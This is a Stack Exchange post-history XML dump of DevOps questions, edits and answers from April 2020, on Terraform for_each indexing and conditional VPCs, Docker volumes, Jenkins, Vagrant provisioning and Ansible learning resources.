  <row Id="34859" PostHistoryTypeId="2" PostId="11398" RevisionGUID="d9bf4eff-6aa4-45e0-b82a-ac132a0c44e2" CreationDate="2020-04-21T13:11:19.590" UserId="21846" Text="Terraform newbie here. I'd like to iterate a list using `for_each`, but it seems like the key and value are the same:&#xD;&#xA;```&#xD;&#xA;provider &quot;aws&quot; {&#xD;&#xA;  profile = &quot;default&quot;&#xD;&#xA;  region  = &quot;us-east-1&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;variable &quot;vpc_cidrs&quot; {&#xD;&#xA;  default = [&quot;10.0.0.0/16&quot;, &quot;10.1.0.0/16&quot;]&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_vpc&quot; &quot;vpc&quot; {&#xD;&#xA;  for_each             = toset(var.vpc_cidrs)&#xD;&#xA;  cidr_block           = each.value&#xD;&#xA;  enable_dns_hostnames = true&#xD;&#xA;  tags                 = { Name = &quot;Company0${each.key}&quot; }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;I'd like the tag Name to be `&quot;Name&quot; = &quot;Company01&quot;` and `&quot;Name&quot; = &quot;Company02&quot;` but according to terraform apply,&#xD;&#xA;&#xD;&#xA;I get: `&quot;Name&quot; = &quot;Company010.0.0.0/16&quot;` and `&quot;Name&quot; = &quot;Company010.1.0.0/16&quot;`&#xD;&#xA;&#xD;&#xA;What am I missing?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34860" PostHistoryTypeId="1" PostId="11398" RevisionGUID="d9bf4eff-6aa4-45e0-b82a-ac132a0c44e2" CreationDate="2020-04-21T13:11:19.590" UserId="21846" Text="Terraform get list index on for_each" ContentLicense="CC BY-SA 4.0" />
  <row Id="34861" PostHistoryTypeId="3" PostId="11398" RevisionGUID="d9bf4eff-6aa4-45e0-b82a-ac132a0c44e2" CreationDate="2020-04-21T13:11:19.590" UserId="21846" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34862" PostHistoryTypeId="2" PostId="11399" RevisionGUID="dc762894-707e-46a0-9e6b-9b25badb130f" CreationDate="2020-04-21T13:53:56.160" UserId="21849" Text="I am in the process of creating a terraform template, part of which can create a VPC.&#xD;&#xA;&#xD;&#xA;The user has the option to specify the parameter `create-vpc`. This will be passed to the module https://github.com/terraform-aws-modules/terraform-aws-vpc which will create the VPC based on this parameter i.e.&#xD;&#xA;&#xD;&#xA;    module &quot;vpc&quot; {&#xD;&#xA;      source = &quot;terraform-aws-modules/vpc/aws&quot;&#xD;&#xA;    &#xD;&#xA;      create_vpc = var.create-vpc&#xD;&#xA;      # ... omitted&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I am now trying to use a `data` source to share the VPC with the rest of my template i.e.&#xD;&#xA;&#xD;&#xA;    data &quot;aws_vpc&quot; &quot;myvpc&quot; {&#xD;&#xA;      id = &quot;${module.vpc.vpc_id}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;How can I update this to use the variable `vpc-id` instead of the module output if the VPC hasn't been created?&#xD;&#xA;&#xD;&#xA;Ideally I'd do something like:&#xD;&#xA;&#xD;&#xA;    data &quot;aws_vpc&quot; &quot;myvpc&quot; {&#xD;&#xA;      count = &quot;${var.vpc-id != &quot;&quot; ? 1 : 0}&quot;&#xD;&#xA;      id = &quot;${module.vpc.vpc_id}&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    data &quot;aws_vpc&quot; &quot;myvpc&quot; {&#xD;&#xA;      count = &quot;${var.vpc-id != &quot;&quot; ? 0 : 1}&quot;&#xD;&#xA;      id = var.vpc-id&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This won't work as resource names need to be unique.&#xD;&#xA;&#xD;&#xA;Other resources in the template reference this VPC.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34863" PostHistoryTypeId="1" PostId="11399" RevisionGUID="dc762894-707e-46a0-9e6b-9b25badb130f" CreationDate="2020-04-21T13:53:56.160" UserId="21849" Text="Terraform conditionally create VPC" ContentLicense="CC BY-SA 4.0" />
  <row Id="34864" PostHistoryTypeId="3" PostId="11399" RevisionGUID="dc762894-707e-46a0-9e6b-9b25badb130f" CreationDate="2020-04-21T13:53:56.160" UserId="21849" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34865" PostHistoryTypeId="2" PostId="11400" RevisionGUID="9ce95a5f-ccad-4689-9906-44b730cf3e3f" CreationDate="2020-04-21T14:16:20.917" UserId="21846" Text="Found an easy solution using the [index][1] function:&#xD;&#xA;```&#xD;&#xA;tags = { Name = &quot;Company0${index(var.vpc_cidrs, each.value) + 1}&quot; }&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/configuration/functions/index.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="34866" PostHistoryTypeId="2" PostId="11401" RevisionGUID="ded5fe7f-c0d7-420f-85d8-f532fba0a863" CreationDate="2020-04-21T18:03:52.033" UserId="9024" Text="Though it's not the direct answer to my question, but it's a goal, I was aimed at.&#xD;&#xA;&#xD;&#xA;I tested several image build tools and stopped on 'Makisu', for building Docker images. It really works fine for me.&#xD;&#xA;&#xD;&#xA;The details are here:&#xD;&#xA;https://github.com/uber/makisu&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  and here (starting from 'Using Makisu'):&#xD;&#xA;https://findwork.dev/blog/6-ways-speed-your-ci/" ContentLicense="CC BY-SA 4.0" />
  <row Id="34870" PostHistoryTypeId="2" PostId="11403" RevisionGUID="24263734-f4ef-44cf-88ca-43bca47731bc" CreationDate="2020-04-21T20:12:27.147" UserId="21855" Text="If anyone else is going down this rabbit hole.  Make sure you didn't accidentally define your volume with an `=` in your `Dockerfile`&#xD;&#xA;&#xD;&#xA;**Wrong:** &#xD;&#xA;```&#xD;&#xA;VOLUME = [&quot;/logs&quot;, &quot;/data&quot;]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**Correct:** &#xD;&#xA;```&#xD;&#xA;VOLUME [&quot;/logs&quot;, &quot;/data&quot;]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;It took me a long time to dig into why the anonymous volumes were being added by `docker-compose`" ContentLicense="CC BY-SA 4.0" />
  <row Id="34871" PostHistoryTypeId="2" PostId="11404" RevisionGUID="a82494dc-df7f-46ae-b12c-9bbe75a2ae32" CreationDate="2020-04-21T20:49:25.977" UserId="21856" Text="I've found sometimes I need `docker-compose build --no-cache` if I have a bad deploy." ContentLicense="CC BY-SA 4.0" />
  <row Id="34876" PostHistoryTypeId="2" PostId="11406" RevisionGUID="dd4d1010-62f8-43b1-8b4f-9fc0e152dc79" CreationDate="2020-04-22T10:15:13.600" UserId="17586" Text="Some times we can push changes without Jira ID ,so I want to prevent those kind of changes Suppose my project like abc, def , ghi and Jira ID like 1234-abc , 2525-def and 36789-ghi Now how to write script using python for below tasks 1) create Jira ID provided is valid or not? 2) check type of Jira for abc or def , it should be &quot;change request&quot; only 3) Check status of Jira , it should be in &quot;Accepted or Assigned or IN Progress&quot;&#xD;&#xA;&#xD;&#xA;Me also started writing script now anyone please help me out ." ContentLicense="CC BY-SA 4.0" />
  <row Id="34877" PostHistoryTypeId="1" PostId="11406" RevisionGUID="dd4d1010-62f8-43b1-8b4f-9fc0e152dc79" CreationDate="2020-04-22T10:15:13.600" UserId="17586" Text="How to prevent changes without Jira ID" ContentLicense="CC BY-SA 4.0" />
  <row Id="34878" PostHistoryTypeId="3" PostId="11406" RevisionGUID="dd4d1010-62f8-43b1-8b4f-9fc0e152dc79" CreationDate="2020-04-22T10:15:13.600" UserId="17586" Text="&lt;git&gt;&lt;python&gt;&lt;bitbucket&gt;&lt;jira&gt;&lt;git-hooks&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34881" PostHistoryTypeId="2" PostId="11407" RevisionGUID="0a7a101d-0d9c-481b-8959-20c9171ee852" CreationDate="2020-04-22T10:56:05.320" UserId="11598" Text="The solution is to specify an `assume_role` statement:&#xD;&#xA;&#xD;&#xA;    provider &quot;aws&quot; {&#xD;&#xA;      profile = &quot;default&quot;&#xD;&#xA;      assume_role {&#xD;&#xA;        role_arn = &quot;arn:aws:iam::[ACCOUNT_ID]:role/terraform-test-role&quot;&#xD;&#xA;      }&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="34882" PostHistoryTypeId="2" PostId="11408" RevisionGUID="ec42b4a7-f0a7-4e96-9635-8c96d6313e9a" CreationDate="2020-04-22T11:12:54.267" UserId="21870" Text="I have an upstream freestyle job and a downstream pipeline job.&#xD;&#xA;&#xD;&#xA;The freestyle job is triggered via a gitHub webhook to run whenever code is pushed to gitHub branch.&#xD;&#xA;&#xD;&#xA;The freestyle job should capture the branch name and pass to the pipeline job and should trigger the build for that particular branch.&#xD;&#xA;&#xD;&#xA;How to pass the branch name to the pipeline job dynamically?&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/Yqby8.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="34883" PostHistoryTypeId="1" PostId="11408" RevisionGUID="ec42b4a7-f0a7-4e96-9635-8c96d6313e9a" CreationDate="2020-04-22T11:12:54.267" UserId="21870" Text="Trigger downstream pipeline job for the branch via from upstream freestyle job" ContentLicense="CC BY-SA 4.0" />
  <row Id="34884" PostHistoryTypeId="3" PostId="11408" RevisionGUID="ec42b4a7-f0a7-4e96-9635-8c96d6313e9a" CreationDate="2020-04-22T11:12:54.267" UserId="21870" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34886" PostHistoryTypeId="2" PostId="11409" RevisionGUID="8ec049a3-7d17-4266-9fe8-3bf6a59ddd93" CreationDate="2020-04-22T11:39:56.873" UserId="16059" Text="People often use dnsmasq for this.  You can wildcard sub-domains like this fairly easily for local testing using it.&#xD;&#xA;&#xD;&#xA;Here's an example - https://qiita.com/bmj0114/items/9c24d863bcab1a634503 but there are plenty online." ContentLicense="CC BY-SA 4.0" />
  <row Id="34890" PostHistoryTypeId="50" PostId="8724" RevisionGUID="0856c8e9-de25-4c42-96d1-e61162754b3b" CreationDate="2020-04-22T12:03:45.527" UserId="-1" />
  <row Id="34891" PostHistoryTypeId="2" PostId="11411" RevisionGUID="676b941a-b144-43a8-a43a-56738f1a407a" CreationDate="2020-04-22T12:36:44.110" UserId="17329" Text="I am using a Vagrantfile to create a Kubernetes cluster, I start with variables definition and I move on to a loop to shuffle through all server definitions. Each of these servers vm definitions is setting a specific vm context, within the loop I do everything I need with provisioners to get the k8s 14.3 up and running.&#xD;&#xA;My problem is that I want to perform an action on k8s-master after cluster is up and all nodes actions are completed, including the kubeadm join from nodes, meaning the cycle will have to finish.&#xD;&#xA;I can't understand how do I get to use the master vm definition in the second loop. What is currently written is wrong, I am not even sure which config will I call, I think it is the last node used from previous cycle only.&#xD;&#xA;I have been reading the doc and I can't understand how do I get the first definition down in the second loop.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Vagrant.configure(&quot;2&quot;) do |config|&#xD;&#xA;&#xD;&#xA;  servers.each do |opts|&#xD;&#xA;    config.vm.define opts[:name] do |config|&#xD;&#xA;&#xD;&#xA;      config.vm.box = opts[:box]&#xD;&#xA;      config.vm.box_version = opts[:box_version]&#xD;&#xA;      config.vm.hostname = opts[:name]&#xD;&#xA;      config.vm.network :private_network, ip: opts[:eth1]&#xD;&#xA;&#xD;&#xA;      config.vm.provider &quot;virtualbox&quot; do |v|&#xD;&#xA;&#xD;&#xA;        v.name = opts[:name]&#xD;&#xA;        v.customize [&quot;modifyvm&quot;, :id, &quot;--groups&quot;, &quot;/KubernetesCluster&quot;]&#xD;&#xA;        v.customize [&quot;modifyvm&quot;, :id, &quot;--memory&quot;, opts[:mem]]&#xD;&#xA;        v.customize [&quot;modifyvm&quot;, :id, &quot;--cpus&quot;, opts[:cpu]]&#xD;&#xA;      end&#xD;&#xA;  &#xD;&#xA;      config.vm.provision &quot;shell&quot;, path: &quot;./scripts/configureBox.sh&quot;&#xD;&#xA;      if opts[:type] == &quot;master&quot;&#xD;&#xA;        config.vm.provision &quot;shell&quot;, path: &quot;./scripts/configureMaster.sh&quot;&#xD;&#xA;      else&#xD;&#xA;        config.vm.provision &quot;shell&quot;, path: &quot;./scripts/configureNode.sh&quot;&#xD;&#xA;      end&#xD;&#xA;    end&#xD;&#xA;  end&#xD;&#xA;&#xD;&#xA;  servers.each do |opts2|&#xD;&#xA;    if opts2[:type] == &quot;master&quot;&#xD;&#xA;      config.vm.provision &quot;helm_install&quot;, type: &quot;shell&quot;, path: &quot;./scripts/installHelm.sh&quot;&#xD;&#xA;    end&#xD;&#xA;  end&#xD;&#xA;end&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="34892" PostHistoryTypeId="1" PostId="11411" RevisionGUID="676b941a-b144-43a8-a43a-56738f1a407a" CreationDate="2020-04-22T12:36:44.110" UserId="17329" Text="Vagrant - how to reuse vm definition after context change" ContentLicense="CC BY-SA 4.0" />
  <row Id="34893" PostHistoryTypeId="3" PostId="11411" RevisionGUID="676b941a-b144-43a8-a43a-56738f1a407a" CreationDate="2020-04-22T12:36:44.110" UserId="17329" Text="&lt;vagrant&gt;&lt;ruby-on-rails&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34894" PostHistoryTypeId="5" PostId="11411" RevisionGUID="ad0028bf-7e79-459b-aa42-4c8bd3cb624a" CreationDate="2020-04-22T13:23:52.410" UserId="17329" Comment="deleted 294 characters in body; edited title" Text="I am using a Vagrantfile to create a Kubernetes cluster, I start with variables definition of servers and I move on to a loop to shuffle through each server definition. For each a vm definition is created, within the loop I do everything I need with provisioners to get the k8s 14.3 up and running (1 master and 3 nodes).&#xD;&#xA;My problem is that I want to perform an action on k8s-master after cluster is up and all nodes actions are completed. So I want to get the object of k8s-master server and run an action against.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Vagrant.configure(&quot;2&quot;) do |config|&#xD;&#xA;&#xD;&#xA;  servers.each do |opts|&#xD;&#xA;    config.vm.define opts[:name] do |config|&#xD;&#xA;&#xD;&#xA;      config.vm.box = opts[:box]&#xD;&#xA;      config.vm.box_version = opts[:box_version]&#xD;&#xA;      config.vm.hostname = opts[:name]&#xD;&#xA;      config.vm.network :private_network, ip: opts[:eth1]&#xD;&#xA;&#xD;&#xA;      config.vm.provider &quot;virtualbox&quot; do |v|&#xD;&#xA;&#xD;&#xA;        v.name = opts[:name]&#xD;&#xA;        v.customize [&quot;modifyvm&quot;, :id, &quot;--groups&quot;, &quot;/KubernetesCluster&quot;]&#xD;&#xA;        v.customize [&quot;modifyvm&quot;, :id, &quot;--memory&quot;, opts[:mem]]&#xD;&#xA;        v.customize [&quot;modifyvm&quot;, :id, &quot;--cpus&quot;, opts[:cpu]]&#xD;&#xA;      end&#xD;&#xA;  &#xD;&#xA;      config.vm.provision &quot;shell&quot;, path: &quot;./scripts/configureBox.sh&quot;&#xD;&#xA;      if opts[:type] == &quot;master&quot;&#xD;&#xA;        config.vm.provision &quot;shell&quot;, path: &quot;./scripts/configureMaster.sh&quot;&#xD;&#xA;      else&#xD;&#xA;        config.vm.provision &quot;shell&quot;, path: &quot;./scripts/configureNode.sh&quot;&#xD;&#xA;      end&#xD;&#xA;    end&#xD;&#xA;  end&#xD;&#xA;  # need to use this one against k8s-master after the above loop is finished&#xD;&#xA;  if [:type] == &quot;master&quot;&#xD;&#xA;    config.vm.provision &quot;helm_install&quot;, type: &quot;shell&quot;, path: &quot;./scripts/installHelm.sh&quot;&#xD;&#xA;  end&#xD;&#xA;end&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="34895" PostHistoryTypeId="4" PostId="11411" RevisionGUID="ad0028bf-7e79-459b-aa42-4c8bd3cb624a" CreationDate="2020-04-22T13:23:52.410" UserId="17329" Comment="deleted 294 characters in body; edited title" Text="Vagrant - how to loop through already defined, existing vms" ContentLicense="CC BY-SA 4.0" />
  <row Id="34896" PostHistoryTypeId="5" PostId="11411" RevisionGUID="511d6c18-08fb-45b1-af35-761d397774c0" CreationDate="2020-04-22T14:26:25.267" UserId="17329" Comment="deleted 67 characters in body; edited title" Text="I am using a Vagrantfile to create a Kubernetes cluster, I start with variables definition of servers and I move on to a loop to shuffle through each server definition creation. Within the loop I do everything I need with provisioners to get the k8s 14.3 up and running (1 master and 3 nodes).&#xD;&#xA;My problem is that I want to perform an action on k8s-master after cluster is up and all nodes actions are completed. So I want to get the object of k8s-master server and run an action against, is that possible?&#xD;&#xA;Can I assign the context and reuse it after?&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Vagrant.configure(&quot;2&quot;) do |config|&#xD;&#xA;&#xD;&#xA;  servers.each do |opts|&#xD;&#xA;    config.vm.define opts[:name] do |config|&#xD;&#xA;&#xD;&#xA;      config.vm.box = opts[:box]&#xD;&#xA;      config.vm.box_version = opts[:box_version]&#xD;&#xA;      config.vm.hostname = opts[:name]&#xD;&#xA;      config.vm.network :private_network, ip: opts[:eth1]&#xD;&#xA;&#xD;&#xA;      config.vm.provider &quot;virtualbox&quot; do |v|&#xD;&#xA;&#xD;&#xA;        v.name = opts[:name]&#xD;&#xA;        v.customize [&quot;modifyvm&quot;, :id, &quot;--groups&quot;, &quot;/KubernetesCluster&quot;]&#xD;&#xA;        v.customize [&quot;modifyvm&quot;, :id, &quot;--memory&quot;, opts[:mem]]&#xD;&#xA;        v.customize [&quot;modifyvm&quot;, :id, &quot;--cpus&quot;, opts[:cpu]]&#xD;&#xA;      end&#xD;&#xA;  &#xD;&#xA;      config.vm.provision &quot;shell&quot;, path: &quot;./scripts/configureBox.sh&quot;&#xD;&#xA;      if opts[:type] == &quot;master&quot;&#xD;&#xA;        config.vm.provision &quot;shell&quot;, path: &quot;./scripts/configureMaster.sh&quot;&#xD;&#xA;      else&#xD;&#xA;        config.vm.provision &quot;shell&quot;, path: &quot;./scripts/configureNode.sh&quot;&#xD;&#xA;      end&#xD;&#xA;    end&#xD;&#xA;  end&#xD;&#xA;  # need to execute a provisioning action against first node which is named (k8s-master)&#xD;&#xA;  end&#xD;&#xA;end&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="34897" PostHistoryTypeId="4" PostId="11411" RevisionGUID="511d6c18-08fb-45b1-af35-761d397774c0" CreationDate="2020-04-22T14:26:25.267" UserId="17329" Comment="deleted 67 characters in body; edited title" Text="Vagrant - reuse already defined vms within same Vagrantfile" ContentLicense="CC BY-SA 4.0" />
  <row Id="34898" PostHistoryTypeId="5" PostId="11377" RevisionGUID="d7aec064-ae87-4590-982a-37800a87016a" CreationDate="2020-04-22T14:56:42.847" UserId="21779" Comment="added 250 characters in body" Text="I used the O'Reilly Ansible book: &quot;Ansible: Up and Running, 2nd Edition&quot; to learn Ansible and found it well-paced and helpful. It suggests using Vagrant to work with a virtual machine (VM) on your normal desktop/laptop to practise what you've learned, an approach I find very helpful - including now, since this is also a great way to prototype Ansible playbooks before deploying them.&#xD;&#xA;&#xD;&#xA;Vagrant is also the tool advocated by Michael Heap in his &quot;Ansible from Beginner to Pro&quot;, which is a bit faster-paced. Published in 2016 it won't have some of the newer Ansible features.&#xD;&#xA;&#xD;&#xA;PacktPub have several Ansible books, so one of those may suit, and finally you've found LeanPub's &quot;Ansible for DevOps&quot; by Jeff Geerling already. (Update: Jeff Geerling now has several 1-hour [Ansible videos][1] [on YouTube][2])&#xD;&#xA;&#xD;&#xA;I hope that helps.&#xD;&#xA;&#xD;&#xA;PS: re. your wish to avoid Vagrant, Virtualbox etc - I suggest that you consider these as useful tools to help you on your Ansible journey: You don't need to know much about them atall (sufficient info is given in the books mentioned), but they make for a really helpful way of quickly testing and prototyping your Ansible work - particularly since you can create and destroy them at will - so it's easy to recover if you mess up badly, and easy to test a playbook on several different distros at once. If you really don't like the Vagrant/Virtualbox aspect, use a spare Linux machine, be that on your local network or out there on the 'net.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.jeffgeerling.com/blog/2020/ansible-101-jeff-geerling-youtube-streaming-series&#xD;&#xA;  [2]: https://www.youtube.com/channel/UCR-DXc1voovS8nhAvccRZhg" ContentLicense="CC BY-SA 4.0" />
  <row Id="34903" PostHistoryTypeId="5" PostId="11406" RevisionGUID="83a733be-c39b-4d2a-843e-f7717361bf79" CreationDate="2020-04-22T18:49:25.073" UserId="20042" Comment="Formatting" Text="Some times we can push changes without `Jira ID`.&#xD;&#xA;&#xD;&#xA;I want to prevent changes without mentioned `Jira ID'.&#xD;&#xA;&#xD;&#xA;Suppose projects named like:&#xD;&#xA;&#xD;&#xA;* abc,&#xD;&#xA;* def,&#xD;&#xA;* ghi&#xD;&#xA;&#xD;&#xA;And have `Jira ID`'s like:&#xD;&#xA;&#xD;&#xA;* 1234-abc,&#xD;&#xA;* 2525-def, &#xD;&#xA;* and 36789-ghi.&#xD;&#xA;&#xD;&#xA;Now how to write script using `python` for below tasks:&#xD;&#xA;&#xD;&#xA;1) create `Jira ID` provided is valid or not? &#xD;&#xA;2) check type of `Jira` ticket for abc or def , it should be &quot;change request&quot; only &#xD;&#xA;3) Check status of `Jira` ticket , it should be in `Accepted` or `Assigned` or `IN Progress`" ContentLicense="CC BY-SA 4.0" />
  <row Id="34904" PostHistoryTypeId="24" PostId="11406" RevisionGUID="83a733be-c39b-4d2a-843e-f7717361bf79" CreationDate="2020-04-22T18:49:25.073" Comment="Proposed by 20042 approved by 40 edit id of 1191" ContentLicense="CC BY-SA 4.0" />
  <row Id="34905" PostHistoryTypeId="2" PostId="11413" RevisionGUID="9aedb4e5-0112-42f2-bf21-e95003f6b102" CreationDate="2020-04-22T20:37:47.250" UserId="17276" Text="Iv set up a grafana instance.&#xD;&#xA;&#xD;&#xA;I want to create dashboards to get metrics on lambda functions but useing cloud watch logs would be expencive.&#xD;&#xA;&#xD;&#xA;Are there any cheaper alternatives to achive this that might be worth looking at?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34906" PostHistoryTypeId="1" PostId="11413" RevisionGUID="9aedb4e5-0112-42f2-bf21-e95003f6b102" CreationDate="2020-04-22T20:37:47.250" UserId="17276" Text="Are there cheaper alternatives to cloud watch logs for creating dash boards?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34907" PostHistoryTypeId="3" PostId="11413" RevisionGUID="9aedb4e5-0112-42f2-bf21-e95003f6b102" CreationDate="2020-04-22T20:37:47.250" UserId="17276" Text="&lt;metrics&gt;&lt;grafana&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34908" PostHistoryTypeId="2" PostId="11414" RevisionGUID="42f8a8da-5cf3-4d3f-bc46-be6efede4537" CreationDate="2020-04-22T22:10:31.777" UserId="2463" Text="The way I'm understanding your question is that you're writing a module that takes an optional `vpc_id` as an argument, and either uses it if specified or creates a new VPC itself if not specified. You then need to use the VPC id elsewhere in your configuration, regardless of whether it was provided by the caller directly or if it was created by the VPC module.&#xD;&#xA;&#xD;&#xA;If I understood that correctly, here's one way to get that done.&#xD;&#xA;&#xD;&#xA;First, we'll declare the `vpc_id` variable for your own module that the rest of this will use to make its decisions.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;variable &quot;vpc_id&quot; {&#xD;&#xA;  type    = string&#xD;&#xA;  default = null # optional with no default value&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;From this we will derive our decision about whether to create the VPC, which I'll write as a local value here mainly for exposition purposes but you might choose to inline it at the point of use in practice depending on what feels most readable for you:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;locals {&#xD;&#xA;  create_vpc = var.vpc_id != null ? true : false&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;We can now use that value both with the module and with a `data` resource so that we'll either create a new VPC or retrieve data about the existing one:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;module &quot;vpc&quot; {&#xD;&#xA;  source = &quot;terraform-aws-modules/vpc/aws&quot;&#xD;&#xA;&#xD;&#xA;  create_vpc = local.create_vpc&#xD;&#xA;  # ...&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;data &quot;aws_vpc&quot; &quot;selected&quot; {&#xD;&#xA;  count = local.create_vpc ? 0 : 1&#xD;&#xA;&#xD;&#xA;  id = var.vpc_id&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;We can then write another local value that chooses which of those two locations to derive other VPC-related values, such as the `id` and `cidr_block` from:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;locals {&#xD;&#xA;  vpc = (&#xD;&#xA;    local.create_vpc ?&#xD;&#xA;    {&#xD;&#xA;      id         = module.vpc.vpc_id&#xD;&#xA;      cidr_block = module.vpc.vpc_cidr_block&#xD;&#xA;    } :&#xD;&#xA;    {&#xD;&#xA;      id         = data.aws_vpc.selected.id&#xD;&#xA;      cidr_block = data.aws_vpc.selected.cidr_block&#xD;&#xA;    }&#xD;&#xA;  )&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;You can then use `local.vpc.id` and `local.vpc.cidr_block` elsewhere in the configuration to get the appropriate values to use regardless of whether this module created its own VPC or not.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;The above is the most direct answer to your question. I also wanted to share a different approach that is based on the patterns described in the [Module Composition](https://www.terraform.io/docs/modules/composition.html) section of Terraform's docs, which might be appropriate for you if you're building a shared module intended to be called by another Terraform module.&#xD;&#xA;&#xD;&#xA;A different way to approach this problem using composition is to say that your module _never_ creates its own VPC, and always expects one to be provided to it. This is an example of the _dependency inversion_ principle. Here's how that might look for your particular use-case...&#xD;&#xA;&#xD;&#xA;In your module, you can declare an input variable called `vpc` that has the same structure as the final `local.vpc` that we created in the previous approach:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;variable &quot;vpc&quot; {&#xD;&#xA;  type = object({&#xD;&#xA;    id         = string&#xD;&#xA;    cidr_block = string&#xD;&#xA;  })&#xD;&#xA;  # This time the VPC is required. The caller decides how to obtain it.&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Your own module's expressions would then get the VPC id as `var.vpc.id` instead of `local.vpc.id` as in the previous approach.&#xD;&#xA;&#xD;&#xA;The calling module can then decide between several different ways of providing the value for that variable:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# Using the terraform-aws-modules/vpc/aws module&#xD;&#xA;module &quot;vpc&quot; {&#xD;&#xA;  source = &quot;terraform-aws-modules/vpc/aws&quot;&#xD;&#xA;&#xD;&#xA;  # ...&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;module &quot;your_module&quot; {&#xD;&#xA;  source = &quot;./modules/your-module&quot;&#xD;&#xA;&#xD;&#xA;  vpc = {&#xD;&#xA;    id         = module.vpc.vpc_id&#xD;&#xA;    cidr_block = module.vpc.vpc_cidr_block&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# Directly using the aws_vpc resource type&#xD;&#xA;&#xD;&#xA;resource &quot;aws_vpc&quot; &quot;example&quot; {&#xD;&#xA;  # ...&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;module &quot;your_module&quot; {&#xD;&#xA;  source = &quot;./modules/your-module&quot;&#xD;&#xA;&#xD;&#xA;  vpc = aws_vpc.example&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# Using the aws_vpc data source to find an existing VPC&#xD;&#xA;&#xD;&#xA;data &quot;aws_vpc&quot; &quot;example&quot; {&#xD;&#xA;  tags = {&#xD;&#xA;    Environment = &quot;STAGE&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;module &quot;your_module&quot; {&#xD;&#xA;  source = &quot;./modules/your-module&quot;&#xD;&#xA;&#xD;&#xA;  vpc = data.aws_vpc.example&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;In other words, this lets your new module focus on whatever new problem it is trying to solve while being decoupled from the problem of creating a VPC, allowing the calling module to obtain that VPC information in whatever way is appropriate. The appropriate way to obtain the VPC might change over time, and this composition approach means that callers can have more control over how they manage the transition between different approaches, independent of the implementation of your new module.&#xD;&#xA;&#xD;&#xA;Module composition isn't always the best option, but I wanted to point it out because the Terraform documentation specifically recommends considering this approach and recommends against having many levels of nested module calls.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34909" PostHistoryTypeId="2" PostId="11415" RevisionGUID="416ae214-58eb-488e-bfa1-6929057b21f2" CreationDate="2020-04-22T22:25:37.020" UserId="2463" Text="Terraform offers two resource repetition mechanisms: [`count`](https://www.terraform.io/docs/configuration/resources.html#count-multiple-resource-instances-by-count) and [`for_each`](https://www.terraform.io/docs/configuration/resources.html#for_each-multiple-resource-instances-defined-by-a-map-or-set-of-strings). The main difference between these is how Terraform will track the multiple instances they create:&#xD;&#xA;&#xD;&#xA;* When using `count`, each of the multiple instances is tracked by a number starting at 0, giving addresses like `aws_vpc.vpc[0]` and `aws_vpc.vpc[1]`.&#xD;&#xA;* When using `for_each`, each of the multiple instances is tracked by a string which could be obtained either from a key in a map or from an element in a set, giving addresses like `aws_vpc.vpc[&quot;10.0.0.0/16&quot;]` and `aws_vpc.vpc[&quot;10.1.0.0/16&quot;]`.&#xD;&#xA;&#xD;&#xA;The most common reason to choose `for_each` rather than `count` is to ensure that the order of whatever collection of values is driving the repetition is not significant. In your specific case, that would produce the same result regardless 